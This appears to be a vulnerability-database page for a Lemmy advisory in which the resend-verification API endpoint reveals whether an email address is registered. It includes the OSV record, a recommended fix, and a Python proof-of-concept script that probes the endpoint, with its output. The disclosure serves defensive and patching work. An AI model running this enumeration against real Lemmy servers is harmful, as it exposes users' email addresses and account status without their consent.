GHSA-qxrw-f6fh-34r7: Lemmy api Lemmy Resend-verification Endpoint Exposes Registered Vulnerability
MODERATEGHSA-qxrw-f6fh-34r7 is a MODERATE lemmy resend-verification endpoint exposes registered vulnerability (CWE-204: Observable Response Discrepancy) affecting Lemmy api libraries in the crates.io ecosystem. The issue involves lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users. Remediation is available in the latest vendor maintenance releases.
GHSA-qxrw-f6fh-34r7 at a Glance
How to Fix GHSA-qxrw-f6fh-34r7
To remediate this vulnerability, upgrade all affected Lemmy api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade lemmy_api to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for lemmy_api
How to Check if You Are Affected
To determine whether your application is affected by GHSA-qxrw-f6fh-34r7, inspect your project dependencies for Lemmy api:
inspect dependencies for lemmy_api
Analyze the terminal output to locate any version of Lemmy api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-204: Observable Response Discrepancy, where the product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. In Lemmy api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-qxrw-f6fh-34r7 Affected Lemmy api Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lemmy_api
|
crates.io |
≤ 0.19.1-rc.1
|
|
References
Frequently Asked Questions
What is GHSA-qxrw-f6fh-34r7?
Which Lemmy api versions are affected?
What version fixes GHSA-qxrw-f6fh-34r7?
Is lemmy_api affected?
What CWE is associated with GHSA-qxrw-f6fh-34r7?
How can I check crates.io dependencies for GHSA-qxrw-f6fh-34r7?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qxrw-f6fh-34r7",
"modified" : "2026-05-06T23:49:18Z",
"published" : "2026-05-06T23:49:18Z",
"aliases" : [ ],
"summary" : "Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users",
"details" : "## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;\ncheck_local_user_valid(&local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\" # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n r = post(\"/account/auth/resend_verification_email\", email=candidate)\n print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "lemmy_api"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.19.1-rc.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-qxrw-f6fh-34r7"
}, {
"type" : "WEB",
"url" : "https://github.com/LemmyNet/lemmy/commit/4afff1699d08920b9a9023e81b229d772b894d91"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/LemmyNet/lemmy"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-204" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T23:49:18Z",
"nvd_published_at" : null
}
}